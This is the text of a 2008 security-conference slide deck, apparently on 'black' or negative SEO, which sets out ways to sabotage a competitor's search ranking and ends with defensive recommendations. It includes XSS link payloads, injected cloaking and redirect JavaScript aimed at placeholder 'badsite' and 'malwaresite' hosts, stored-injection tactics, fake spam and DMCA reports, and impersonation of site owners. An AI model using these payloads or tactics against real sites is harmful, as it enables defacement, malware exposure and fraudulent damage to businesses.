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None More Black: The Dark Side of SEO




                     Presented By Roberto Suggi Liverani
                                    © 2008 Security-Assessment.com
About me

Roberto Suggi Liverani
   Security Consultant - Security-Assessment.com
   http://www.security-assessment.com
   h    //
   CISSP
   Web App Pen Tester
   OWASP New Zealand Founder/Leader -
   http://www.owasp.org/index.php/New_Zealand
   htt //              /i d    h /N   Z l d
   Personal Site: http://malerisch.net




                                                   © 2008 Security-Assessment.com
Agenda

Introduction
   SEO (Search Engine Optimisation) – concepts, definitions
   Black SEO – d f
    l k        definition, security implications
                                       l
Black SEO Exposed:
   Methodology – the big plan
       Reconnaissance – information gathering is the key
       Target Resources Elimination – indirect attack techniques
       Frontal attack – direct attack techniques
       Collateral damage – other attack techniques
       Tools – weapons of SEO destruction
                  p
Recommendations
Case Study: personalsoftwarefinance.com – the target!


                                                     © 2008 Security-Assessment.com
Introduction

                        Top Ten Search Engine Result Page (SERP)
                        High Competitive Market




                        3rd   - Rank/Position

                               Search
                               Engine
                               Optimisation




Techniques following search engine guidelines: White Hat SEO
Techniques not following any guidelines: Black Hat SEO

                                                © 2008 Security-Assessment.com
Introduction

                          Top Ten Search Engine Result Page (SERP)
                          High Competitive Market




                          3rd   - Rank/Position
                                 Black/
                                 Negative
                                 Search
                                 S    h
                                 Engine
                                 Optimisation


Black SEO (or Negative SEO): sabotage techniques aiming to reduce
 a web site's ranking in search engine results

                                                  © 2008 Security-Assessment.com
Introduction

SEO – Search Engine Optimisation
Search engine optimisation (SEO) is the process of improving the
volume and quality of traffic to a web site from search engines via
"natural" ("organic" or "algorithmic") search results for targeted
keywords.


TOP 10 search engines results page (SERP) = SEO industry
Some SEO terms: positioning, ranking, keywords
SEO Hats:
   White Hat SEO: web promotion techniques following search
   engine guidelines
   Black Hat SEO: web promotion techniques not following any
   guidelines



                                                     © 2008 Security-Assessment.com
Black SEO - Definition

Black SEO Security Concept Map




                                  © 2008 Security-Assessment.com
Security Implications 1/2

The common perception towards black SEO:
   Google: “There's almost nothing a competitor can do to harm
   your ranking or have your site removed from our index”
                                                   index
   General Assumption: “Black SEO is only related to SEO”
Black SEO and Security:
   IT Security still does not include this category of attacks
   Most
   M t IT Security literature does not even mention the SEO t
          S    it lit t       d      t         ti th        term
The potential:
   Black SEO attacks do not always involve exploitation of target
   vulnerabilities
   50% of the OWASP Top 10 can be used to leverage black SEO
   attacks
   Knowledge gap between SEO hackers and WEB hackers is
   reducing - Latest web spam techniques exploit XSS
                                                      © 2008 Security-Assessment.com
Security Implications 2/2

Black SEO security considerations:
   Three elements in the security model:




   Search engine internal processes are not disclosed
   Real unknown variable in the black SEO security model
Black SEO attacks:
   Search engines process the attack
   Attack results are not direct (might be visible after 3 days, 1
                                 ( g                         y ,
   week, 1 month or might not be processed)
Attacker needs to monitor continuously attack results
Target needs to realise if under attack
                                                      © 2008 Security-Assessment.com
Methodology




If you know the enemy and know yourself, you need not fear the result
    of a hundred battles. If you know yourself but not the enemy, for
    e e y cto y gained
    every victory ga ed you will also suffer a defeat. If you know
                                  a so su e de eat              o
    neither the enemy nor yourself, you will succumb in every battle.


                                                       - Sun Tzu




                                                     © 2008 Security-Assessment.com
Methodology

Black SEO methodology:
   Target Reconnaissance
   Target Resources Elimination
                     l
   Frontal Attack
   Collateral Damage
The weapons:
   Search Engines, Hacking Tools, Black Hat SEO techniques, Spam
   Tools
What does black SEO attack?
   Home/Landing Page - www.targetsite.com
   Specific web page - www.targetsite.com/product/xyz.htm




                                                 © 2008 Security-Assessment.com
Reconnaissance




http://www.flickr.com/photos/kden604/203323823/

                                                  © 2008 Security-Assessment.com
Reconaissance

Build target backlinks/neighbors map. Include:
                                 map
   Key (authoritative) target resources with high Page Rank
   Direct incoming l k to target
                   links
   2nd/3rd Level incoming links to target
   Outcoming target links
Approach target as complex structure with relationships:

           Business Target             Political Target
          The parent company                Political Party
         Subsidiary companies      Political Election/Campaign
           Sister companies             Political Affiliates
          Significant business
                                     Supporting Politicians
                partners
           Brands/Divisions                  Supporters


                                                          © 2008 Security-Assessment.com
Reconaissance

Build target backlinks/neighbors map. Include:
                                 map
   Key (authoritative) target resources with high Page Rank
   Direct incoming l k to target
                   links
   2nd/3rd Level incoming links to target
   Outcoming target links




                                                   © 2008 Security-Assessment.com
Reconaissance

Other elements to consider:
   Target Annual reports / Press-Releases
   Target contact names and email addresses
                          d     l dd
   Target locations and branches
   Target mergers/acquisitions, elections
   Job/political boards, either internal to the target or external sites
   Disgruntled employee or opposite faction blogs




                                                       © 2008 Security-Assessment.com
Reconnaissance - Tools

Extrapolate target links from search engines:
Google
   site:targetsite.com – indexed pages of target site
                           d   d        f
   link:targetsite.com – pages that link to target site
   cache:targetsite.com – current cache of target site
   info:targetsite.com – information on target site
   related:targetsite.com – pages similar to target site
   targetsite.com -> enter full URL into the search fields (+ all
   subdomains combinations)
Google News, Google Groups and Google Alerts
Yahoo: Site Explorer - http://siteexplorer.search.yahoo.com/
   http://targetsite.com – includes pages indexed and pages that
   link t t
   li k to target site
                t it

                                                      © 2008 Security-Assessment.com
Reconaissance - Tools

Live Search Macros -
http://search.live.com/macros/default.aspx?FORM=BJJK
   Create an advanced search Macro on target site/web page
Other tools:
   web.archive.org
   web archive org – useful to identify content linked in the past
   Maltego: excellent tool to display structure of any entity on the
   internet. http://www.paterva.com/web2/Maltego/maltego.html
     te et ttp //       pate a co / eb / a tego/ a tego t
   http://www.scrutinizethis.com/
   http://www.abouturl.com/index.php
   http://www abouturl com/index php
   http://whois.domaintools.com
   http://netcraft.net
   http://netcraft net
   http://www.webmaster-toolkit.com/
   http://www.myipneighbors.com/
   htt //       i   i hb       /

                                                     © 2008 Security-Assessment.com
Reconaissance - SEO Tools

Extrapolate target SEO data:
   Firefox add-on: Seoquake (https://addons.mozilla.org/en-
   US/firefox/addon/3036)


Identify target SEO skills, keywords and SERP positioning:
                    skills
   Check if target uses Google Web Master and/or Yahoo Site
   Explorer
     po e
   Check if target is practicing any SEO techniques
   Scan target with SEO software
   Webceo - http://www.webceo.com
   Check target backlinks
            g
   http://www.linkhounds.com/link-harvester/backlinks.php




                                                      © 2008 Security-Assessment.com
Eliminating target resources




       © 2008 Security-Assessment.com
Eliminating target resources

The neighbours target map (visual concept):




Thinking like a search engine:
   A link to a page = casting a vote
               p g          g
   Votes are related to a specific content/information
   Many votes to a site indicate that the site is “authoritative” /
                                                   authoritative
   “trusted” for a specific content = best value to user
                                                     © 2008 Security-Assessment.com
Eliminating target resources

Eliminating target resources:
   Remove/divert links from authoritative/trusted sites to target site
   Remove/divert direct incoming links to target site
         /d      d               l k
Two main attack approaches:
   Hack neighbours sites and remove links
   Social engineering + direct attack
First approach not always feasible. Second approach:
   Impersonate target and social engineer target resources
   Motives to remove/divert link: rebranding, restructuring,
   maintenance, new domain, spam links, etc.
   Enforce case with new domain registered as target, XSS/SQL
   injection, spam links, etc.



                                                     © 2008 Security-Assessment.com
Eliminating target resources

A possible attack scenario:




Impact:
  p
   Decreased quality/quantity of target neighbours
   Target position and rank affected


                                                     © 2008 Security-Assessment.com
Frontal attacks




© 2008 Security-Assessment.com
Frontal Attacks Table

   Frontal attacks classification
Scope           Exploit               Probability         Attack               Impact
                Complexity            of success          Timeframe
Decrease:       Low/Medium            High/Medium Long                         Position/Rank
• rank                                                                         decreased
• position      • Reversing search    • Web Spam as a     • Crawling
• backlinks     engines               proof               • Indexing
                                                          • Caching

Demonstrate:    High                  Low/Medium          Medium               Target
target is:                                                                     ban/penalisation
                • Target vulnerable   • Human review of   • Tools speed
• deceitful
                • Low                 spam reports        indexing
• fraudulent    quality/quantity                          (quantity/quality)
• spamming
   p        g   target backlinks
                • Moderate/Absent
                target SEO skills


   The two scopes and the techniques involved have completely
               p                q                     p     y
   opposite results
   Attacker makes a choice depending on: available timeframe,
   resources, skills and target exploitability
               kill    dt     t    l it bilit

                                                                               © 2008 Security-Assessment.com
Decreasing target positioning

Attack: Spam social bookmarks with target URL
   Digg.com, Reddit.com, Onlywire.com, etc
   Automatic script + social bookmarks API
                           lb k     k
 http://www.onlywire.com/api/add?url=http://targetsite&ti
 tle=targetsite&comments=targetsite&tags=targetsite

Impact: Target can be banned. Target site loses links from
trusted/high PR domains


Attack: Duplicate target content in:
   target site (exploit stored XSS or SQL injection)
   domain with higher PR of target site (buy another site)
   many sites (build network of clones)
Impact: Target penalised for duplicate content


                                                            © 2008 Security-Assessment.com
Decreasing target positioning

Attack: Submit web proxy + target site to search engines
   Use proxy with a higher PR and/or higher number of backlinks
   than target
   Use proxy that do not obfuscate target URL
  http://www.zzoop.com/index.php? & http://targetsite/
  http://www.zzoop.com/index.php?=&=http://targetsite/


Impact: target position may drop suddenly


Attack: Mass submissions of target to low quality web directories
   Most of them are free. Low quality = n/a or PR 0
   Publication can take up to 6 months. Do mass submission.
   http://www.web-directories.ws
Impact: Decrease quality of neighbours. Position decreased.


                                                            © 2008 Security-Assessment.com
Decreasing target positioning

Attack: Create backlinks to unused target subdomain
   www.targetsite.com – 200 OK (used/promoted)
   targetsite.com – 200 OK (
                           (not used) <- b kl k target
                                   d)    backlinks
   No 301 redirection and both subdomains must point to same
   content
Impact: Positioning affected


Attack: DoS target
   Spider needs a 404 Not Found response from target
   Then request removal of unavailable target pages
Impact: Target page removed from SERPS




                                                  © 2008 Security-Assessment.com
Decreasing target positioning

Attack: Promote target site URL + dynamic content such as:
   Session IDs
   Variables with long values
        bl      hl       l
 http://targetsite/?PHPSESSIONID=a8s7d8782378273827381273821s98d&productId=a9
 982938219038291832918391389218931&a2=9sa8d9as7d9a7d98sa7d8sa7d8asdsa&b2=1203
 18291289381938921&login=true



Impact: positioning decreasing, pages removal or no pages caching
Attack: Promote competition of target using White Hat SEO

                                                              competition


                                                               target


                                                              competition

Impact: positioning decreased
                                                              © 2008 Security-Assessment.com
Decreasing target positioning

Attack: Build fake content based on target keywords
   Turn everything from the target keywords into education
   content which provides real value to end user
   Promote fake content with black hat/white hat SEO techniques

                                         Fake
                                         Legitimate

                                         Fake
                                         Legitimate

                                         Fake
                                         Legitimate
                                         Legitimate
Impact: positioning shift
                                                      © 2008 Security-Assessment.com
Target perceived as spammer




Alonzo: [after killing Roger and shooting Jeff] It's not what you know,
                          it's what you can prove.


                         Training Day, 2001




                                                       © 2008 Security-Assessment.com
Target perceived as spammer

Attack: Inject permanent links pointing to bad sites into target
<a href=http://badsite>target site keywords</a>
<a href=http://badsite>spam keywords</a>

   Exploit stored XSS, SQL injection in target
      l         d
   Injection must be stealth, deceitful, smart, balanced
   Attack should last as long as possible
   If possible, make cross links between target and bad sites
Impact: Penalisation and/or ban of target site
Bad site can contain:
   Spam
   Porn
   Malicious Content (malware, virus, trojan/backdoor)
   Warez/Cracks/Torrents/File Sharing Links/Illegal Files
   Links to other bad sites
                                                          © 2008 Security-Assessment.com
Target perceived as spammer

Bad site can be:
   PayPerClick Page/Blog/Fake Directory/Fake Forum/Scraped Page
   Banned
        d
   Phishing
   Thin Affiliate
   Free link Exchange
Bad site can use:
   JavaScript Redirects - JavaScript used for cloaking
   Keyword Stuffing - overloaded page with excessive keywords
   Backdoor pages – page that hides backdoor (+ redirection)
            p g     p g                      (             )
   100% Frame – frameset with one frame 100% to deceive search
   engines spiders


                                                    © 2008 Security-Assessment.com
Target perceived as spammer

Hidden text/Hidden Links – hidden content with intention to
deceive search engines
Foreign Language – foreign language with intention to confuse
search engines
Sneaky Redirects – redirection through rotating domains
Same class C IP addresses and same domain registrant details of
target site




                                                © 2008 Security-Assessment.com
Target perceived as spammer

Attack: Promote target XSS link
http://targetsite.com?search=a”><a href=http://badsite>target site keywords</a><!—
http://targetsite.com?search=a”><iframe src=badsite></iframe><!—
http://targesite.com?frameurl=http://badsite
   p      g                      p
http://targetsite.com?redirect=http://badsite


   Links must point to bad sites
   Promote XSS link + target keyword with black-hat SEO
        Use link farms, splogs, guest books, forums, any article/page
        that
        th t enable comments with good PR
                 bl          t ith      d
        Target site needs to appear in top 10 SERP for the keyword
        promoted
   If attack is successful, report target to search engines with
   search URL, keyword and target URL
                , y               g
Impact: Penalisation and/or ban of target



                                                               © 2008 Security-Assessment.com
Target perceived as spammer

Attack: Inject cloaking JavaScript into target site
<script language="JavaScript"> var
r=document.referrer,t="",q;if(r.indexOf("google.")!=-
1)t="q";if(r.indexOf("msn.")!=-1)t="q";if(r.indexOf("live.")!=-
1)t="q";if(r.indexOf("yahoo.")!=-1)t="p";if(r.indexOf("altavista.")!=-
1)t="q";if(r.indexOf("aol.")!=-1)t="query";if(r.indexOf("ask.")!=-
1)t="q";if(document.cookie.length==0 && t.length &&
(document.URL.indexOf("?cloakhook=")!=-1 && ((q=r.indexOf("?"+t+"="))!=-
1||(q r.indexOf( & +t+
1||(q=r.indexOf("&"+t+"="))!=-1)){window.location="http://badsite/";}</script>
                         ))! 1)){window.location http://badsite/ ;}</script>



   Cloaking must point to bad sites
   Promote cloaking hook with black-hat SEO
<a href=http://targetsite.com/?cloakhook=10>any keyword</a>


   If attack is successful, report target to search engines
Impact: Penalisation and/or ban of target
  p                     /             g




                                                               © 2008 Security-Assessment.com
Target perceived as spammer

  Attack: Inject redirection into target
      HTML meta tag refresh with a very short time
      JavaScript triggering redirection onmouseover event
                              d
<META http-equiv="refresh" content=“0;URL=http://badsite/buyviagra.php">
<body onmouseover=“document.location(‘//badsite/buyviagra.php’)>

  Impact: Penalisation and/or ban of target


  Attack: Splog target
      Use spam script/tool that leaves target URL in thousands of blog
      comments and forums
      Create large number of blogs spamming target and using
      syndicated services such as RSS to be used in blog pings
      http://pingomatic.com/
  Impact: b /
  I    t ban/penalisation
                 li ti

                                                                  © 2008 Security-Assessment.com
Target perceived as spammer

Attack: Exploit XSS vulnerability in trusted sites to promote target
      Create link farm to index XSS link to target site
      Xssed.com lists vulnerable sites with high PR
          d     l       l    bl           hh h
<a href=‘http://www.imdb.com/List?locations="><iframe src=//targetsite.com>
</iframe>’>keyword to be ranked</a>

<a href =‘http://help.yahoo.com/bin/help/redirect.cgi?to_url=
http://targetsite.com’>keyword to be ranked</a>



Attack: Spam target in universities pages, forums, sites with high PR
      Some EDU pages are available at low price
      Use target name in the account name (reflected in URL)
<a   href=‘http://groups.google.com/group/targetsite’>keyword</a>
<a   href=‘http://www.bebo.com/targetsite’>keyword</a>
     h f ‘htt //      b b     /t    t it ’ k     d /
<a   href=‘http://www.mixx.com/users/targetsite’>keyword</a>
<a   href=‘http://infostore.org/user/targetsite’>keyword</a>
<a   href=‘http://cgi.cse.unsw.edu.au/~targetsite/targetsite.html’>keyword</a>



Impact: Target ban
                                                                 © 2008 Security-Assessment.com
Target perceived as spammer

Attack: Store copyrighted material into target site
   Material pertinent to target from copyrighted sources (books,
   encyclopaedias,
   encyclopaedias white papers etc )
                           papers, etc.)
   Issue DMCA complaint if target is US based to search engines
   and to target ISP
Impact: target site page temporary removal (legal case)
Attack: Spam ta get s te in spa page
 ttac Spa target site spam
   Use comments in spam page illegally ranking in top 10 SERPS
   Exploit XSS, SQL injection or any injection
           XSS
   Report both spammer and target to search engines




Impact: t
I    t target b
            t ban

                                                      © 2008 Security-Assessment.com
Target perceived as spammer

Attack: Buy paid links on behalf of target
   Paid links marketplaces:
   www.tnx.net www.isellpagerank.com
   www tnx net - www isellpagerank com
   Inject links identified as “paid links” into target
Attack: Show target is selling paid-links
                               paid links
   Target site must have a good PR (at least 3 or 4)
   Sell li k
   S ll links on target behalf through link marketplaces
                 t    t b h lf th    h li k    k t l
   Inject links on sale through stored XSS or SQL injection
Attack: Trade links on behalf of target
   Impersonate target to send emails for link trading
   Inject links through XSS, SQL injection or any injection
In all cases, report target to search engines
Impact: target site removal/penalisation
                                                         © 2008 Security-Assessment.com
Collateral Damage




http://www.flickr.com/photos/mongol/447087265/


                                                 © 2008 Security-Assessment.com
Collateral Damage

Collateral damage: damage in terms of web marketing context,
                                                    context
reputation/image
Attack: 302 hijacking target
   Well known Google bug (not completely fixed)
   Point many 302 redirections to target site
   Implement cloaking on landing page


                                                            Target


                                                            Target
                                                            hijacked


Impact: target site content displacement


                                                  © 2008 Security-Assessment.com
Collateral Damage

Attack: Create a malware connection with target
   Malware hosted on target site or on a third party site
   Inject JavaScript which launches malware
                      h hl      h     l
<img src=a.gif
onload=javascript:document.location.href='http://malwaresite/malware.exe'; />

   Report target site to: Stopbadware.org - McAfee Site Advisor –
   AVG Link Scanner
Impact: T
I    t Target Sit P bli Image
            t Site Public I
Attack: Google bombing/bowling target site with negative keywords
   Still works on Google, Yahoo and Live
   Pickup a non-common / negative-impact keyword
   Promote target site link with negative keyword in good quality
   link farm <a href=‘http://targetsite’>bad keyword</a>
Impact: t
I    t target reputation and i
            t     t ti     d image

                                                               © 2008 Security-Assessment.com
Collateral Damage

Attack: Spy on target
   Impersonate web anti-spam organisation
   Warn target competition about target using black-hat SEO
                            b                 bl k h
   techniques
Impact: possible legal action against target


Attack: Expose t
Att k E        target sensitive pages t SERPS
                    t     iti         to
   Example: hidden directories, awstats, webalyzer, admin, URL
   with username/password, etc
        username/password
   Google Dorks from GHDB http://johnny.ihackstuff.com/ghdb.php
   Make target link indexed by search engines
Impact: exposure of statistics and sensitive data useful to
competition


                                                     © 2008 Security-Assessment.com
Collateral Damage

Attack: Expose target sensitive pages to SERPS
   Example: hidden directories, awstats, webalyzer, admin, URL
   with username/password, etc
        username/password
   Google Dorks from GHDB http://johnny.ihackstuff.com/ghdb.php
   Make target link indexed by search engines
Impact: exposure of statistics and sensitive data useful to
co pet t o
competition




                                                     © 2008 Security-Assessment.com
Weapons of SEO Destruction

Xrumer – http://www botmaster net/more1/
         http://www.botmaster.net/more1/
   Autosubmitter
   Large d b
         database of forums, groups pages available
                   ff                         l bl
   Advanced control on threads and posts
   Captcha and pictocode support
ProxyURL – http://www.esrun.co.uk/blog/proxy-url-creator/
   Generates large list of proxy urls
Sed (Search Engine De-optimisation) ** v0.2 RELEASED**
http://malerisch.net/tools/negativeseo/sed.zip
   Page generator with hidden text technique, target keyword
   stuffing in meta tags, title tags and other HTML elements
                    tags
   Associate phishing sites URLs from Millersmile archive
   Associate random spam keywords to target
   A    i t     d        k     d t t      t

                                                    © 2008 Security-Assessment.com
sed




© 2008 Security-Assessment.com
sed




                                       Keyword
                                           y
                                       stuffing on
Spam keywords                          title with
associated to                          target
target URL
t    t                                 keywords


       Use of different      Meta keywords with spam
       Headers               keywords
                             HTML comments with spam
 Target keyword              keywords



           Latest phishing URL
           extracted f
             t t d from
           Millersmile archive and
           associated to target
           keyword


                                         © 2008 Security-Assessment.com
sed

Sed deployment scenario




                          © 2008 Security-Assessment.com
Case Study

Personalsoftwarefinance.com
Personalsoftwarefinance com – fake company selling fake software
Experiment environment factors:
   Major Search Engines involved (Google, Yahoo)
              h             l d(      l     h )
   Primary keywords: personal software finance
   Domain name: personalsoftwarefinance.com
   ICANN Registrar: Godaddy.com
   Reputable Web Hosting: successfullhosting.com
   SEO Tools used: Web Seo + common SEO techniques from
   articles, books, etc
   Web stats tools: awstats, webalizer, hsphere panel tools
   Site is vulnerable to common web vulnerabilities such as stored
   XSS, SQL injections, XSRF



                                                   © 2008 Security-Assessment.com
Case Study

Time for the video!!!




                        © 2008 Security-Assessment.com
Recommendations

Security Recommendations:
   Secure the site - OWASP Testing Guide
   Subscribe to Google Webmaster Tool and Yahoo Site Explorer
     b b            l    b          l d h               l
   Check incoming and outcoming links periodically
   Set Google Alert
   Check/monitor web server logs constantly
   Disable 302 temporary redirection if used
   Do not use redirection functions
   Check periodically web server directory and application source
   code for changes/presence of backdoors




                                                     © 2008 Security-Assessment.com
Conclusions

                       And remember
                           remember...
Q: What can I do if I'm afraid my competitor is harming my
ranking in Google?
Google: There's almost nothing a competitor can do to harm your
ranking or have your site removed from our index. If you're
concerned about another site linking to yours, we suggest
contacting the webmaster of the site in question. Google aggregates
a d o ga es o at o published on the eb; e don't control
and organizes information pub s ed o t e web; we do t co t o
the content of these pages.




                                                   © 2008 Security-Assessment.com
Thanks!




  http://www.security assessment.com
  http://www.security-assessment.com
          Roberto Suggi Liverani
roberto.suggi@security-assessment.com




                                 © 2008 Security-Assessment.com
References/Links

Negative SEO articles
   Black - Negative SEO Hits Mainstream Media
   Companies Offer to Damage Your Competitors Search Engine Rankings
   Companies subvert search results to squelch criticism
      p                                 q
   Condemned To Google Hell - Forbes.com
   'Google bowling' and negative SEO All fair in love and war Searchlight - An SEO blog by Stephan Spencer - CNET Blogs
   Firms use evil SEO to kill rivals' Google rankings : News : Security - ZDNet Asia
   Google allowing other webmasters to damage your site
   Google-Proof PR - Forbes.com
   In Pictures 7 Ways Your Site Can Be Sabotaged - Forbes.com
   Having Fun at Donalds Expense - So How's this Happening? | Threadwatch.org
   Google's Matt Cutts' Blog GoogleWashed | Threadwatch.org
   Give me money or I will drop your Google Rank - Search Engine Watch Forums
   Fighting Off Negative Publicity and Affiliates in the SERPs : SEO Book.com
   Google Keeps Tweaking Its Search Engine - New York Times
   Google Should Offer Self Defense Against Spammy Inbound Links
   Google's Cookie
   Michael Sutton's Blog : A Tour of the Google Blacklist
   Matt Cutts Google bowling exists Threadwatch.org
                 g         g                      g
   Kick Your Competitor With Negative SEO? - Google Blogoscoped Forum
   Negative SEO - Harming Your Competitors With SEO Negative SEO (Black SEO) Tactics - Fighting Dirty
   Negative SEO At Work: Buying Cheap Viagra From Google’s Very Own Matt Cutts - Unless You Prefer Reddit? Or Topix? ::
   My First Million on the Internet: Google Bowling and Negative SEO: Tearing Down Rather Than Building Up
   SEOmoz | Del.icio.us Cloaking to Combat Spam


                                                                                                  © 2008 Security-Assessment.com
References/Links

Negative SEO articles
   SEOmoz | The Dark Side of Wikipedia
   The Saboteurs Of Search - Forbes.com
   SEOmoz SEO isn�t hacking - and data security tips
                          g                   y p
   SEO poisoning attacks growing
   Google Penalization: Text Links, Redirects Not Likely Causes - Spam Comment Links Maybe - The Story Continues - Robin Good's
   Latest News
   Other sites can hurt your ranking | JLH Design Blog
   Building Authority Websites The Right Way | Denver SEO Guy | Knox in Denver
   How Much Money is a Top Google Ranking Worth to Your Business?
   Google allowing other webmasters to damage your ranking
   Why should I report paid links to Google?
   Small treatise about e-manipulation for honest people


Forums/Blogs
   Black H t
   Bl k Hat SEO Bl k Hat F
                Black H t Forum - P
                                  Powered b vBulletin
                                        d by B ll ti
   Blackhat SEO
   BlackHatCrew - Elite Webmaster SEO Forum
   Blackhat SEO » Blog Archive » Free blog hosts Digerati Marketing - The better search blog
   Earl Grey`s Black Hat SEO Forum and SEOBlackhat SEM Community - The first and leading Resource on Blackhat SE0
   Happar.com Support Forum / Register
   Evaluating Google Search Quality | Bruce Cat dot com evilgreenmonkey
   Google Search News
   Matt Cutts Gadgets, Google, and SEO IncrediBILL's Random Rants
   Half’s SEO Notebook


                                                                                                 © 2008 Security-Assessment.com
References/Links

Forums/Blogs:
   IrishWonder’s SEO Consulting Blog
   Negative SEO blog SEOassassin
   Network Security Research and AI ø Blue Hat SEO-Advanced SEO Tactics ø
                  y
   SEO Black Hat Forum
   SEO Black Hat SEO Blog
   SEO Chicks |The SEO Blog with attitude
   roguespammer: A Rogue Spammer
   Search Engine Cloaking and Optimization Forum - SeoJeans / Hot Topics
   Stefan Juhl » Internet marketing, SEO & online media monetization Welcome to Seocracy.com
   Search Engine Marketing Tips & Search Engine News - Search Engine Watch
   SEO Forum


Negative/Positive SEO Techniques:
   302 Google Jacking - Has your page been hijacked - Home "Filler Friday: Google Bombing" from Über - Better than you, daily!»
   How D Th D li t C t t Filt
   H   Do The Duplicate Content Filters Work?
                                        W k?
   8 ways to abuse your XSS vulnerabilities - stefanjuhl.com
   Better search engine ranking Google ranking tips from a Google employee
   Better search engine rankings The risk of over-optimization How to remove your competitors from MSN Live!
   Hijack A Domain For 200$ at Conceptualist.com, By Sahar Sarid Funny Google's Cache Error
   Google and the Mysterious Case of the 1969 Pagejackers || kuro5hin.org
   Google Proxy Hacking: How A Third Party Can Remove Your Site From Google SERPs
   Link schemes
   http://tech.propeller.com/viewstory/2006/07/22/google-has-a-6-month-penalty-for-using-expired-domain/
   Improve search engine rankings

                                                                                                  © 2008 Security-Assessment.com
References/Links

Negative/Positive SEO techniques:
   Improve search engine rankings Insider information about Google's ranking algorithm Own-the.net (Webappsec, SEO, and
   general Web Dev)
   SEOmoz | XSS - How to get 20 .gov links in 20 minutes
   Using Canonical Domains to Sabotage Competitors in Google Threadwatch.org
   Stop 302 Redirects and Scrapers from Hijacking Web Page PR - Page Rank
   SpewMoney™ » Blog Archive » Getting traffic from Facebook or How her milkshake brings all the boys to my website SitePoint
   Blogs » example.com vs. www.example.com… trouble!
   Google Proxy Hacking: How A Third Party Can Remove Your Site From Google SERPs
   The Dark Side of Search Engine Optimization - Organic SEO Wiki
   Official Google Webmaster Central Blog: The Impact of User Feedback, Part 1




SEO tools/software:
   Blackhat SEO - Esrun » Blackhat SEO Scripts
   Black Hat SEO Software Built to Make Money Fast - Black Hat Software
   Blackhat SEO - Esrun » GMAIL Account Creator [GAC] Dark SEO Programming
   Dark SEO Programming » captcha
   Dark Seo Team
   dnScoop - Domain Name Value, History, Stats Tool and Forums
                         Value History
   Free URL Redirection, No Ads! Short Free Domain Name (you.co.nr)
   Google Remove URL - One for the Good Guys! » SEO Image Blog: Stardate
   http://sb.google.com/safebrowsing/update?version=goog-black-url:1:1
   Free Web Analytic Search Engine Page Rank and SEO Optimization Tools - Are you GoingUp?
            Analytic,       Engine,
   OnlyWire: The Only BookMarklet You'll Ever Need!
   OnlyWire: The Only BookMarklet You'll Ever Need!
   Pagerank 10 #dS.t ~ darkseoteam.com Pagerank 9 #dS.t ~ darkseoteam.com                        © 2008 Security-Assessment.com
References/Links

SEO Tools/Software:
   Pagerank 10 #dS.t ~ darkseoteam.com
   Pagerank 9 #dS.t ~ darkseoteam.com
   Report a Spam Result Search engine SPAM detector
     p       p                   g
   SearchStatus | Firefox SEO Toolbar Extension
   Proton TM
   Recherche Fresh Bdd Google . darkseoteam.com .
   Rojo - the best free RSS and Atom feed reader Scraping and Posting your way to money on the Internet - Oooff com
                                                                                                          Oooff.com
   Squidoo : Explore Lenses
   the-cloak home
   Web Spam Detection
   Whois lookup and Domain name search
   Who's linking to you? List your referrers, referers, http_referer, referer, referrer
   SerpArchive
   Web Directory List Ordered By Weakest Google PageRank
   top referrers for webmasters SitePoint Marketplace
   Save A Sale : Automated Sales Agent Search Engine Friendly Redirect Checker




                                                                                                © 2008 Security-Assessment.com

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None More Black - the Dark Side of SEO

  • 1. None More Black: The Dark Side of SEO Presented By Roberto Suggi Liverani © 2008 Security-Assessment.com
  • 2. About me Roberto Suggi Liverani Security Consultant - Security-Assessment.com http://www.security-assessment.com h // CISSP Web App Pen Tester OWASP New Zealand Founder/Leader - http://www.owasp.org/index.php/New_Zealand htt // /i d h /N Z l d Personal Site: http://malerisch.net © 2008 Security-Assessment.com
  • 3. Agenda Introduction SEO (Search Engine Optimisation) – concepts, definitions Black SEO – d f l k definition, security implications l Black SEO Exposed: Methodology – the big plan Reconnaissance – information gathering is the key Target Resources Elimination – indirect attack techniques Frontal attack – direct attack techniques Collateral damage – other attack techniques Tools – weapons of SEO destruction p Recommendations Case Study: personalsoftwarefinance.com – the target! © 2008 Security-Assessment.com
  • 4. Introduction Top Ten Search Engine Result Page (SERP) High Competitive Market 3rd - Rank/Position Search Engine Optimisation Techniques following search engine guidelines: White Hat SEO Techniques not following any guidelines: Black Hat SEO © 2008 Security-Assessment.com
  • 5. Introduction Top Ten Search Engine Result Page (SERP) High Competitive Market 3rd - Rank/Position Black/ Negative Search S h Engine Optimisation Black SEO (or Negative SEO): sabotage techniques aiming to reduce a web site's ranking in search engine results © 2008 Security-Assessment.com
  • 6. Introduction SEO – Search Engine Optimisation Search engine optimisation (SEO) is the process of improving the volume and quality of traffic to a web site from search engines via "natural" ("organic" or "algorithmic") search results for targeted keywords. TOP 10 search engines results page (SERP) = SEO industry Some SEO terms: positioning, ranking, keywords SEO Hats: White Hat SEO: web promotion techniques following search engine guidelines Black Hat SEO: web promotion techniques not following any guidelines © 2008 Security-Assessment.com
  • 7. Black SEO - Definition Black SEO Security Concept Map © 2008 Security-Assessment.com
  • 8. Security Implications 1/2 The common perception towards black SEO: Google: “There's almost nothing a competitor can do to harm your ranking or have your site removed from our index” index General Assumption: “Black SEO is only related to SEO” Black SEO and Security: IT Security still does not include this category of attacks Most M t IT Security literature does not even mention the SEO t S it lit t d t ti th term The potential: Black SEO attacks do not always involve exploitation of target vulnerabilities 50% of the OWASP Top 10 can be used to leverage black SEO attacks Knowledge gap between SEO hackers and WEB hackers is reducing - Latest web spam techniques exploit XSS © 2008 Security-Assessment.com
  • 9. Security Implications 2/2 Black SEO security considerations: Three elements in the security model: Search engine internal processes are not disclosed Real unknown variable in the black SEO security model Black SEO attacks: Search engines process the attack Attack results are not direct (might be visible after 3 days, 1 ( g y , week, 1 month or might not be processed) Attacker needs to monitor continuously attack results Target needs to realise if under attack © 2008 Security-Assessment.com
  • 10. Methodology If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for e e y cto y gained every victory ga ed you will also suffer a defeat. If you know a so su e de eat o neither the enemy nor yourself, you will succumb in every battle. - Sun Tzu © 2008 Security-Assessment.com
  • 11. Methodology Black SEO methodology: Target Reconnaissance Target Resources Elimination l Frontal Attack Collateral Damage The weapons: Search Engines, Hacking Tools, Black Hat SEO techniques, Spam Tools What does black SEO attack? Home/Landing Page - www.targetsite.com Specific web page - www.targetsite.com/product/xyz.htm © 2008 Security-Assessment.com
